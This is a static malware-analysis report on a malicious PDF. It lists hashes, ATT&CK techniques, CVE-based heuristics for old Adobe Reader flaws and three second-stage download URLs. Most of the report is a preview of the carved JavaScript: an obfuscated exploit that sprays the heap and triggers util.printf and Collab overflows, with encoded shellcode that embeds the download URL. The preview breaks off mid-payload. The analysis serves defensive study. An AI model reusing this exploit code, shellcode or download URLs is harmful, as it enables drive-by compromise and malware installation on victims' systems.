Malicious PDF — malware analysis report

Static analysis result for SHA-256 82128b539daafe35…

MALICIOUS

PDF

37.0 KB Created: 2009-05-01 21:21:45 Authoring application: tvEeSFCPx (via NeTSnrx) First seen: 2013-02-25
MD5: ec04961d94208a79f210f05646833bfa SHA-1: 203b66f05d8ea7aec07d877cdf97b25ff5079e33 SHA-256: 82128b539daafe35e9a7e3b7b4907d3d656642b12c9c1f65af272624a5b83c2b
548 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

The PDF file contains embedded JavaScript that leverages multiple CVEs (CVE-2009-0927, CVE-2007-5659, CVE-2008-2992) to execute code. This JavaScript is designed to download and execute a second-stage payload from the provided URLs. The use of `eval()` and `unescape()` functions, along with the exploitation of specific Adobe Reader functions, strongly indicates a malicious intent to compromise the user's system.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 10

  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    eval(unescape(""+"%76%61%"+"72%20%45%64"+"%42%38%77%46"+"%4D%7A%6D%41"+"%35%75%3D%22%63"+"%22%3B%76%61%72%"+"20%69"+"%4E%6A%46%78%68%3"+"7%49%3D%22%"+"68%22%3B%0D%0A%77%49%59%73%4A%68%31%20%3D%20%45%64%42%38%77%46%4D%7A%6D%41%35%75%2B%69%4E%6A%46%78%68%37%49%2B%22%61%72%43%22%2B%22%6F%64%22%2B%22%65%41%22%3B%0D%0A%72%5A%68%71%53%59%72%74%6C%44%4B%53%64%20%3D%20%32%32%33%3B%20%61%70%38%6D%20%3D%20%33%32%3B%20%72%71%35%37%44%33%35%48%59%63%39%6C%68%20%3D%20%65%76%61%6C%3B%44%63%51%74%50%58%52%73%3 …
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.seo.mklm2refln2l3fevwlkvl.com//load.php?id=3 Referenced by PDF JavaScript
    • http://www.seo.mklm2refln2l3fevwlkvl.com//load.php?id=2Referenced by PDF JavaScript
    • http://www.seo.mklm2refln2l3fevwlkvl.com//load.php?id=4Referenced by PDF JavaScript

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0007_000.js pdf-javascript-stream PDF /JS object 7 at offset 0x22D 36593 bytes
SHA-256: ceb6871be2ac6a715981ea2c0785e11ef88d6eb5ed861097ce1e2b6d96c2c788
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 5 eval/decoder/string-building token(s). Carved artifact contains 5 long hex-escaped blob(s).
Preview script
First 1,000 lines of the extracted script
eval(unescape(""+"%76%61%"+"72%20%45%64"+"%42%38%77%46"+"%4D%7A%6D%41"+"%35%75%3D%22%63"+"%22%3B%76%61%72%"+"20%69"+"%4E%6A%46%78%68%3"+"7%49%3D%22%"+"68%22%3B%0D%0A%77%49%59%73%4A%68%31%20%3D%20%45%64%42%38%77%46%4D%7A%6D%41%35%75%2B%69%4E%6A%46%78%68%37%49%2B%22%61%72%43%22%2B%22%6F%64%22%2B%22%65%41%22%3B%0D%0A%72%5A%68%71%53%59%72%74%6C%44%4B%53%64%20%3D%20%32%32%33%3B%20%61%70%38%6D%20%3D%20%33%32%3B%20%72%71%35%37%44%33%35%48%59%63%39%6C%68%20%3D%20%65%76%61%6C%3B%44%63%51%74%50%58%52%73%38%20%3D%20%36%35%3B%20%"+"0D%0A%76%61%72%20%4D%5A%6D%5A%42%4B%4B%31%31%47%3D%22%72%65%74%22%3B%76%61%72%20%6C%64%4F%75%6D%5A%6D%4B%55%58%3D%22%72%22%3B%76%61%72%20%51%50%32%43%43%61%46%66%3D%22%6E%20%22%3B%76%61%72%20%46%33%38%67%4D%41%56%65%44%3D%22%53%74%72%22%3B%76%61%72%20%76%48%71%74%6C%74%4A%3D%22%6E%67%2E%22%3B%76%61%72%20%73%57%72%79%34%59%50%73%3D%22%6D%43%68%22%3B%76%61%72%20%73%5A%41%65%6D%67%74%71%39%3D%22%61%22%3B%76%61%72%20%66%77%4E%6B%56%35%34%63%30%3D%22%43%6F%64%22%3B%76%61%72%20"+"%6F%46%71%51%57%6E%4C%69%44%3D%22%65%22%3B%53%33%71%53%73%72%34%51%65%69%71%39%33%3D%4D%5A%6D%5A%42%4B%4B%31%31%47%2B%22%75%22%2B%6C%64%4F%75%6D%5A%6D%4B%55%58%2B%51%50%32%43%43%61%46%66%2B%46%33%"+"38%67%4D%41%56%65%44%2B%22%69%22%2B%76%48%71%74%6C%74%4A%2B%22%66%72%6F%22%2B%73%57%72%79%34%59%50%73%2B%73%5A%41%65%6D%67%74%71%39%2B%22%72%22%2B%66%77%4E%6B%56%35%34%63%30%2B%6F%46"+"%71%51%57%6E%4C%69%44%2B%22%28%28%28%28%63%20%3D%20%63%2E%77%49%59%73%4A%68%31%28%30%29%29%20%26%20%72%5A%68%71%53%59%72%74%6C%44%4B%53%64%29%20%2D%20%35%32%29%20%25%32%36%20%2B%"+"20%28%63%20%26%20%61%70%38%6D%29%20%2B%2"+"0%44%63%51%74%50%58%52%73%38%29%3B%22%3B"+""));
var bd = " 13# 10# 118# 97# 114# 32# 97# 114# 114# 121# 32# 61# 32# 110# 101# 119# 32# 65# 114# 114# 97# 121# 40# 41# 59# 13# 10# 102# 117# 110# 99# 116# 105# 111# 110# 32# 102# 105# 120# 95# 105# 116# 40# 121# 97# 114# 115# 112# 44# 32# 108# 101# 110# 41# 13# 10# 123# 32# 13# 10# 119# 104# 105# 108# 101# 32# 40# 121# 97# 114# 115# 112# 46# 108# 101# 110# 103# 116# 104# 42# 50# 60# 108# 101# 110# 41# 123# 121# 97# 114# 115# 112# 32# 43# 61# 32# 121# 97# 114# 115# 112# 59# 125# 32# 13# 10# 121# 97# 114# 115# 112# 32# 61# 32# 121# 97# 114# 115# 112# 46# 115# 117# 98# 115# 116# 114# 105# 110# 103# 40# 48# 44# 108# 101# 110# 47# 50# 41# 59# 13# 10# 114# 101# 116# 117# 114# 110# 32# 121# 97# 114# 115# 112# 59# 32# 13# 10# 125# 13# 10# 118# 97# 114# 32# 118# 101# 114# 115# 105# 111# 110# 32# 61# 32# 97# 112# 112# 46# 118# 105# 101# 119# 101# 114# 86# 101# 114# 115# 105# 111# 110# 59# 13# 10# 105# 102# 32# 40# 118# 101# 114# 115# 105# 111# 110# 32# 62# 32# 56# 41# 32# 13# 10# 123# 13# 10# 118# 97# 114# 32# 112# 97# 121# 108# 111# 97# 100# 32# 61# 32# 117# 110# 101# 115# 99# 97# 112# 101# 40# 34# 37# 117# 65# 49# 54# 52# 37# 117# 48# 48# 49# 56# 37# 117# 48# 48# 48# 48# 37# 117# 52# 48# 56# 66# 37# 117# 56# 66# 51# 48# 37# 117# 53# 52# 52# 48# 37# 117# 52# 48# 56# 66# 37# 117# 56# 66# 48# 52# 37# 117# 48# 52# 52# 48# 37# 117# 52# 48# 56# 66# 37# 117# 48# 68# 48# 52# 37# 117# 48# 48# 50# 48# 37# 117# 48# 48# 50# 48# 37# 117# 55# 67# 51# 68# 37# 117# 55# 55# 48# 48# 37# 117# 55# 52# 48# 48# 37# 117# 67# 51# 48# 49# 37# 117# 67# 48# 51# 51# 37# 117# 56# 66# 54# 52# 37# 117# 51# 48# 52# 48# 37# 117# 48# 67# 55# 56# 37# 117# 52# 48# 56# 66# 37# 117# 56# 66# 48# 67# 37# 117# 49# 67# 55# 48# 37# 117# 56# 66# 65# 68# 37# 117# 48# 56# 53# 56# 37# 117# 48# 57# 69# 66# 37# 117# 52# 48# 56# 66# 37# 117# 56# 68# 51# 52# 37# 117# 55# 67# 52# 48# 37# 117# 53# 56# 56# 66# 37# 117# 54# 65# 51# 67# 37# 117# 53# 65# 52# 69# 37# 117# 69# 50# 68# 49# 37# 117# 69# 50# 50# 66# 37# 117# 69# 67# 56# 66# 37# 117# 52# 53# 67# 55# 37# 117# 54# 69# 49# 48# 37# 117# 54# 53# 50# 69# 37# 117# 67# 55# 55# 56# 37# 117# 49# 52# 52# 53# 37# 117# 48# 49# 70# 70# 37# 117# 48# 48# 48# 48# 37# 117# 52# 53# 67# 55# 37# 117# 48# 48# 48# 48# 37# 117# 48# 48# 48# 48# 37# 117# 69# 66# 48# 48# 37# 117# 53# 65# 52# 70# 37# 117# 56# 51# 53# 50# 37# 117# 53# 54# 69# 65# 37# 117# 53# 53# 56# 57# 37# 117# 53# 54# 49# 56# 37# 117# 56# 66# 53# 55# 37# 117# 51# 67# 55# 51# 37# 117# 55# 52# 56# 66# 37# 117# 55# 56# 51# 51# 37# 117# 70# 51# 48# 51# 37# 117# 56# 66# 53# 54# 37# 117# 50# 48# 55# 54# 37# 117# 70# 51# 48# 51# 37# 117# 67# 57# 51# 51# 37# 117# 53# 48# 52# 57# 37# 117# 65# 68# 52# 49# 37# 117# 70# 70# 51# 51# 37# 117# 48# 70# 51# 54# 37# 117# 49# 52# 66# 69# 37# 117# 51# 56# 48# 51# 37# 117# 55# 52# 70# 50# 37# 117# 67# 49# 48# 56# 37# 117# 48# 68# 67# 70# 37# 117# 70# 65# 48# 51# 37# 117# 69# 66# 52# 48# 37# 117# 53# 56# 69# 70# 37# 117# 70# 56# 51# 66# 37# 117# 69# 53# 55# 53# 37# 117# 56# 66# 53# 69# 37# 117# 50# 52# 52# 54# 37# 117# 67# 51# 48# 51# 37# 117# 56# 66# 54# 54# 37# 117# 52# 56# 48# 67# 37# 117# 53# 54# 56# 66# 37# 117# 48# 51# 49# 67# 37# 117# 56# 66# 68# 51# 37# 117# 56# 65# 48# 52# 37# 117# 67# 51# 48# 51# 37# 117# 53# 69# 53# 70# 37# 117# 67# 51# 53# 48# 37# 117# 55# 68# 56# 68# 37# 117# 53# 55# 49# 67# 37# 117# 66# 56# 53# 50# 37# 117# 67# 65# 51# 51# 37# 117# 53# 66# 56# 65# 37# 117# 65# 50# 69# 56# 37# 117# 70# 70# 70# 70# 37# 117# 51# 50# 70# 70# 37# 117# 56# 66# 67# 48# 37# 117# 70# 50# 70# 55# 37# 117# 52# 70# 65# 69# 37# 117# 52# 53# 56# 66# 37# 117# 65# 66# 49# 48# 37# 117# 57# 56# 54# 54# 37# 117# 65# 66# 54# 54# 37# 117# 67# 48# 51# 51# 37# 117# 54# 49# 66# 56# 37# 117# 48# 48# 54# 52# 37# 117# 53# 48# 48# 48# 37# 117# 53# 52# 54# 56# 37# 117# 55# 50# 54# 56# 37# 117# 51# 53# 54# 53# 37# 117# 49# 67# 50# 52# 37# 117# 55# 52# 54# 57# 37# 117# 53# 52# 53# 48# 37# 117# 66# 56# 53# 51# 37# 117# 70# 67# 65# 65# 37# 117# 55# 67# 48# 68# 37# 117# 53# 53# 70# 70# 37# 117# 56# 51# 49# 56# 37# 117# 48# 67# 67# 52# 37# 117# 66# 48# 53# 48# 37# 117# 56# 65# 54# 67# 37# 117# 57# 56# 69# 48# 37# 117# 54# 56# 53# 48# 37# 117# 54# 69# 54# 70# 37# 117# 54# 52# 50# 69# 37# 117# 55# 53# 54# 56# 37# 117# 54# 67# 55# 50# 37# 117# 53# 52# 54# 68# 37# 117# 56# 69# 66# 56# 37# 117# 48# 69# 52# 69# 37# 117# 70# 70# 69# 67# 37# 117# 49# 56# 53# 53# 37# 117# 67# 52# 56# 51# 37# 117# 57# 51# 48# 67# 37# 117# 51# 51# 53# 48# 37# 117# 53# 48# 67# 48# 37# 117# 53# 54# 53# 48# 37# 117# 53# 53# 56# 66# 37# 117# 48# 51# 49# 56# 37# 117# 49# 52# 53# 53# 37# 117# 53# 48# 53# 50# 37# 117# 51# 54# 66# 56# 37# 117# 50# 70# 49# 65# 37# 117# 70# 70# 55# 48# 37# 117# 49# 56# 53# 53# 37# 117# 56# 51# 53# 66# 37# 117# 48# 48# 55# 68# 37# 117# 48# 70# 48# 49# 37# 117# 57# 69# 56# 53# 37# 117# 48# 48# 48# 48# 37# 117# 54# 65# 48# 48# 37# 117# 54# 56# 48# 48# 37# 117# 48# 48# 56# 48# 37# 117# 48# 48# 48# 48# 37# 117# 48# 51# 54# 65# 37# 117# 48# 48# 54# 65# 37# 117# 48# 51# 54# 65# 37# 117# 48# 48# 54# 56# 37# 117# 48# 48# 48# 48# 37# 117# 53# 54# 67# 48# 37# 117# 65# 53# 66# 56# 37# 117# 48# 48# 49# 55# 37# 117# 70# 70# 55# 67# 37# 117# 49# 56# 53# 53# 37# 117# 52# 53# 56# 57# 37# 117# 54# 65# 48# 52# 37# 117# 54# 56# 48# 52# 37# 117# 49# 48# 48# 48# 37# 117# 48# 48# 48# 48# 37# 117# 48# 48# 54# 56# 37# 117# 48# 56# 48# 48# 37# 117# 54# 65# 48# 48# 37# 117# 66# 56# 48# 48# 37# 117# 67# 65# 53# 52# 37# 117# 57# 49# 65# 70# 37# 117# 53# 53# 70# 70# 37# 117# 56# 57# 49# 56# 37# 117# 48# 67# 52# 53# 37# 117# 54# 65# 53# 48# 37# 117# 56# 68# 48# 48# 37# 117# 48# 56# 52# 68# 37# 117# 54# 56# 53# 49# 37# 117# 48# 48# 48# 48# 37# 117# 48# 48# 48# 56# 37# 117# 70# 70# 53# 48# 37# 117# 48# 52# 55# 53# 37# 117# 49# 54# 66# 56# 37# 117# 70# 65# 54# 53# 37# 117# 70# 70# 49# 48# 37# 117# 49# 56# 53# 53# 37# 117# 56# 66# 53# 70# 37# 117# 56# 51# 49# 55# 37# 117# 48# 52# 67# 55# 37# 117# 52# 68# 56# 66# 37# 117# 56# 51# 48# 56# 37# 117# 48# 52# 69# 57# 37# 117# 65# 55# 69# 56# 37# 117# 48# 48# 48# 48# 37# 117# 54# 65# 48# 48# 37# 117# 54# 65# 48# 48# 37# 117# 54# 65# 48# 48# 37# 117# 70# 70# 48# 48# 37# 117# 48# 52# 55# 53# 37# 117# 65# 67# 66# 56# 37# 117# 68# 65# 48# 56# 37# 117# 70# 70# 55# 54# 37# 117# 49# 56# 53# 53# 37# 117# 48# 48# 54# 65# 37# 117# 52# 68# 56# 68# 37# 117# 53# 49# 48# 56# 37# 117# 55# 53# 70# 70# 37# 117# 70# 70# 48# 56# 37# 117# 48# 67# 55# 53# 37# 117# 48# 52# 56# 51# 37# 117# 48# 52# 50# 52# 37# 117# 55# 53# 70# 70# 37# 117# 66# 56# 48# 52# 37# 117# 55# 57# 49# 70# 37# 117# 69# 56# 48# 65# 37# 117# 53# 53# 70# 70# 37# 117# 70# 70# 49# 56# 37# 117# 48# 52# 55# 53# 37# 117# 70# 66# 66# 56# 37# 117# 70# 68# 57# 55# 37# 117# 70# 70# 48# 70# 37# 117# 49# 56# 53# 53# 37# 117# 52# 53# 67# 55# 37# 117# 48# 50# 48# 48# 37# 117# 48# 48# 48# 48# 37# 117# 53# 55# 48# 48# 37# 117# 66# 56# 53# 54# 37# 117# 70# 69# 57# 56# 37# 117# 48# 69# 56# 65# 37# 117# 53# 53# 70# 70# 37# 117# 69# 66# 49# 56# 37# 117# 49# 56# 50# 65# 37# 117# 70# 57# 50# 65# 37# 117# 68# 50# 66# 55# 37# 117# 66# 51# 55# 55# 37# 117# 52# 53# 48# 49# 37# 117# 57# 50# 56# 65# 37# 117# 65# 68# 66# 55# 37# 117# 53# 68# 53# 48# 37# 117# 54# 55# 69# 52# 37# 117# 69# 54# 70# 53# 37# 117# 49# 65# 67# 55# 37# 117# 65# 66# 66# 70# 37# 117# 49# 48# 49# 69# 37# 117# 55# 54# 52# 50# 37# 117# 65# 49# 65# 50# 37# 117# 54# 51# 53# 52# 37# 117# 55# 66# 48# 57# 37# 117# 66# 48# 56# 57# 37# 117# 57# 55# 70# 52# 37# 117# 55# 51# 52# 69# 37# 117# 51# 70# 57# 51# 37# 117# 56# 51# 70# 49# 37# 117# 48# 48# 55# 68# 37# 117# 55# 52# 48# 50# 37# 117# 67# 55# 54# 48# 37# 117# 48# 48# 52# 53# 37# 117# 48# 48# 48# 49# 37# 117# 48# 48# 48# 48# 37# 117# 52# 53# 67# 55# 37# 117# 55# 57# 49# 48# 37# 117# 54# 53# 50# 69# 37# 117# 67# 55# 55# 56# 37# 117# 49# 52# 52# 53# 37# 117# 48# 49# 55# 50# 37# 117# 48# 48# 48# 48# 37# 117# 55# 68# 56# 66# 37# 117# 48# 51# 49# 56# 37# 117# 49# 52# 55# 68# 37# 117# 50# 54# 66# 57# 37# 117# 48# 48# 48# 48# 37# 117# 56# 66# 48# 48# 37# 117# 70# 67# 53# 55# 37# 117# 48# 53# 69# 56# 37# 117# 48# 48# 48# 48# 37# 117# 69# 57# 48# 48# 37# 117# 70# 69# 55# 67# 37# 117# 70# 70# 70# 70# 37# 117# 67# 48# 51# 51# 37# 117# 48# 55# 56# 65# 37# 117# 67# 56# 68# 50# 37# 117# 67# 49# 51# 50# 37# 117# 68# 48# 70# 54# 37# 117# 67# 53# 51# 50# 37# 117# 67# 50# 51# 50# 37# 117# 67# 54# 51# 50# 37# 117# 67# 48# 68# 50# 37# 117# 67# 49# 48# 50# 37# 117# 67# 53# 48# 50# 37# 117# 67# 50# 48# 50# 37# 117# 67# 54# 48# 50# 37# 117# 67# 56# 68# 50# 37# 117# 67# 49# 50# 65# 37# 117# 67# 53# 50# 65# 37# 117# 68# 48# 70# 54# 37# 117# 67# 50# 50# 65# 37# 117# 67# 54# 50# 65# 37# 117# 67# 48# 68# 50# 37# 117# 67# 50# 68# 51# 37# 117# 67# 65# 48# 70# 37# 117# 48# 55# 56# 56# 37# 117# 52# 57# 52# 55# 37# 117# 67# 69# 55# 53# 37# 117# 67# 51# 67# 51# 37# 117# 55# 52# 54# 56# 37# 117# 55# 48# 55# 52# 37# 117# 50# 70# 51# 65# 37# 117# 55# 55# 50# 70# 37# 117# 55# 55# 55# 55# 37# 117# 55# 51# 50# 69# 37# 117# 54# 70# 54# 53# 37# 117# 54# 68# 50# 69# 37# 117# 54# 67# 54# 66# 37# 117# 51# 50# 54# 68# 37# 117# 54# 53# 55# 50# 37# 117# 54# 67# 54# 54# 37# 117# 51# 50# 54# 69# 37# 117# 51# 51# 54# 67# 37# 117# 54# 53# 54# 54# 37# 117# 55# 55# 55# 54# 37# 117# 54# 66# 54# 67# 37# 117# 54# 67# 55# 54# 37# 117# 54# 51# 50# 69# 37# 117# 54# 68# 54# 70# 37# 117# 50# 70# 50# 70# 37# 117# 54# 70# 54# 67# 37# 117# 54# 52# 54# 49# 37# 117# 55# 48# 50# 69# 37# 117# 55# 48# 54# 56# 37# 117# 54# 57# 51# 70# 37# 117# 51# 68# 54# 52# 37# 117# 48# 48# 51# 51# 34# 41# 59# 13# 10# 110# 111# 112# 32# 61# 32# 117# 110# 101# 115# 99# 97# 112# 101# 40# 34# 37# 117# 48# 65# 48# 65# 37# 117# 48# 65# 48# 65# 37# 117# 48# 65# 48# 65# 37# 117# 48# 65# 48# 65# 34# 41# 13# 10# 104# 101# 97# 112# 98# 108# 111# 99# 107# 32# 61# 32# 110# 111# 112# 32# 43# 32# 112# 97# 121# 108# 111# 97# 100# 59# 13# 10# 98# 105# 103# 98# 108# 111# 99# 107# 32# 61# 32# 117# 110# 101# 115# 99# 97# 112# 101# 40# 34# 37# 117# 48# 65# 48# 65# 37# 117# 48# 65# 48# 65# 34# 41# 59# 13# 10# 104# 101# 97# 100# 101# 114# 115# 105# 122# 101# 32# 61# 32# 50# 48# 59# 13# 10# 115# 112# 114# 97# 121# 32# 61# 32# 104# 101# 97# 100# 101# 114# 115# 105# 122# 101# 43# 104# 101# 97# 112# 98# 108# 111# 99# 107# 46# 108# 101# 110# 103# 116# 104# 59# 13# 10# 119# 104# 105# 108# 101# 32# 40# 98# 105# 103# 98# 108# 111# 99# 107# 46# 108# 101# 110# 103# 116# 104# 60# 115# 112# 114# 97# 121# 41# 32# 98# 105# 103# 98# 108# 111# 99# 107# 43# 61# 98# 105# 103# 98# 108# 111# 99# 107# 59# 13# 10# 102# 105# 108# 108# 98# 108# 111# 99# 107# 32# 61# 32# 98# 105# 103# 98# 108# 111# 99# 107# 46# 115# 117# 98# 115# 116# 114# 105# 110# 103# 40# 48# 44# 32# 115# 112# 114# 97# 121# 41# 59# 13# 10# 98# 108# 111# 99# 107# 32# 61# 32# 98# 105# 103# 98# 108# 111# 99# 107# 46# 115# 117# 98# 115# 116# 114# 105# 110# 103# 40# 48# 44# 32# 98# 105# 103# 98# 108# 111# 99# 107# 46# 108# 101# 110# 103# 116# 104# 45# 115# 112# 114# 97# 121# 41# 59# 13# 10# 119# 104# 105# 108# 101# 40# 98# 108# 111# 99# 107# 46# 108# 101# 110# 103# 116# 104# 43# 115# 112# 114# 97# 121# 32# 60# 32# 48# 120# 52# 48# 48# 48# 48# 41# 32# 98# 108# 111# 99# 107# 32# 61# 32# 98# 108# 111# 99# 107# 43# 98# 108# 111# 99# 107# 43# 102# 105# 108# 108# 98# 108# 111# 99# 107# 59# 13# 10# 109# 101# 109# 32# 61# 32# 110# 101# 119# 32# 65# 114# 114# 97# 121# 40# 41# 59# 13# 10# 32# 102# 111# 114# 32# 40# 105# 61# 48# 59# 105# 60# 49# 52# 48# 48# 59# 105# 43# 43# 41# 32# 109# 101# 109# 91# 105# 93# 32# 61# 32# 98# 108# 111# 99# 107# 32# 43# 32# 104# 101# 97# 112# 98# 108# 111# 99# 107# 59# 13# 10# 118# 97# 114# 32# 110# 117# 109# 32# 61# 32# 49# 50# 57# 57# 57# 57# 57# 57# 57# 57# 57# 57# 57# 57# 57# 57# 57# 57# 57# 57# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 56# 59# 13# 10# 117# 116# 105# 108# 46# 112# 114# 105# 110# 116# 102# 40# 34# 37# 52# 53# 48# 48# 48# 102# 34# 44# 110# 117# 109# 41# 59# 13# 10# 125# 13# 10# 13# 10# 105# 102# 32# 40# 118# 101# 114# 115# 105# 111# 110# 32# 60# 32# 56# 41# 13# 10# 123# 13# 10# 118# 97# 114# 32# 97# 100# 100# 107# 107# 32# 61# 32# 117# 110# 101# 115# 99# 97# 112# 101# 40# 34# 37# 117# 65# 49# 54# 52# 37# 117# 48# 48# 49# 56# 37# 117# 48# 48# 48# 48# 37# 117# 52# 48# 56# 66# 37# 117# 56# 66# 51# 48# 37# 117# 53# 52# 52# 48# 37# 117# 52# 48# 56# 66# 37# 117# 56# 66# 48# 52# 37# 117# 48# 52# 52# 48# 37# 117# 52# 48# 56# 66# 37# 117# 48# 68# 48# 52# 37# 117# 48# 48# 50# 48# 37# 117# 48# 48# 50# 48# 37# 117# 55# 67# 51# 68# 37# 117# 55# 55# 48# 48# 37# 117# 55# 52# 48# 48# 37# 117# 67# 51# 48# 49# 37# 117# 67# 48# 51# 51# 37# 117# 56# 66# 54# 52# 37# 117# 51# 48# 52# 48# 37# 117# 48# 67# 55# 56# 37# 117# 52# 48# 56# 66# 37# 117# 56# 66# 48# 67# 37# 117# 49# 67# 55# 48# 37# 117# 56# 66# 65# 68# 37# 117# 48# 56# 53# 56# 37# 117# 48# 57# 69# 66# 37# 117# 52# 48# 56# 66# 37# 117# 56# 68# 51# 52# 37# 117# 55# 67# 52# 48# 37# 117# 53# 56# 56# 66# 37# 117# 54# 65# 51# 67# 37# 117# 53# 65# 52# 69# 37# 117# 69# 50# 68# 49# 37# 117# 69# 50# 50# 66# 37# 117# 69# 67# 56# 66# 37# 117# 52# 53# 67# 55# 37# 117# 54# 69# 49# 48# 37# 117# 54# 53# 50# 69# 37# 117# 67# 55# 55# 56# 37# 117# 49# 52# 52# 53# 37# 117# 48# 49# 70# 70# 37# 117# 48# 48# 48# 48# 37# 117# 52# 53# 67# 55# 37# 117# 48# 48# 48# 48# 37# 117# 48# 48# 48# 48# 37# 117# 69# 66# 48# 48# 37# 117# 53# 65# 52# 70# 37# 117# 56# 51# 53# 50# 37# 117# 53# 54# 69# 65# 37# 117# 53# 53# 56# 57# 37# 117# 53# 54# 49# 56# 37# 117# 56# 66# 53# 55# 37# 117# 51# 67# 55# 51# 37# 117# 55# 52# 56# 66# 37# 117# 55# 56# 51# 51# 37# 117# 70# 51# 48# 51# 37# 117# 56# 66# 53# 54# 37# 117# 50# 48# 55# 54# 37# 117# 70# 51# 48# 51# 37# 117# 67# 57# 51# 51# 37# 117# 53# 48# 52# 57# 37# 117# 65# 68# 52# 49# 37# 117# 70# 70# 51# 51# 37# 117# 48# 70# 51# 54# 37# 117# 49# 52# 66# 69# 37# 117# 51# 56# 48# 51# 37# 117# 55# 52# 70# 50# 37# 117# 67# 49# 48# 56# 37# 117# 48# 68# 67# 70# 37# 117# 70# 65# 48# 51# 37# 117# 69# 66# 52# 48# 37# 117# 53# 56# 69# 70# 37# 117# 70# 56# 51# 66# 37# 117# 69# 53# 55# 53# 37# 117# 56# 66# 53# 69# 37# 117# 50# 52# 52# 54# 37# 117# 67# 51# 48# 51# 37# 117# 56# 66# 54# 54# 37# 117# 52# 56# 48# 67# 37# 117# 53# 54# 56# 66# 37# 117# 48# 51# 49# 67# 37# 117# 56# 66# 68# 51# 37# 117# 56# 65# 48# 52# 37# 117# 67# 51# 48# 51# 37# 117# 53# 69# 53# 70# 37# 117# 67# 51# 53# 48# 37# 117# 55# 68# 56# 68# 37# 117# 53# 55# 49# 67# 37# 117# 66# 56# 53# 50# 37# 117# 67# 65# 51# 51# 37# 117# 53# 66# 56# 65# 37# 117# 65# 50# 69# 56# 37# 117# 70# 70# 70# 70# 37# 117# 51# 50# 70# 70# 37# 117# 56# 66# 67# 48# 37# 117# 70# 50# 70# 55# 37# 117# 52# 70# 65# 69# 37# 117# 52# 53# 56# 66# 37# 117# 65# 66# 49# 48# 37# 117# 57# 56# 54# 54# 37# 117# 65# 66# 54# 54# 37# 117# 67# 48# 51# 51# 37# 117# 54# 49# 66# 56# 37# 117# 48# 48# 54# 52# 37# 117# 53# 48# 48# 48# 37# 117# 53# 52# 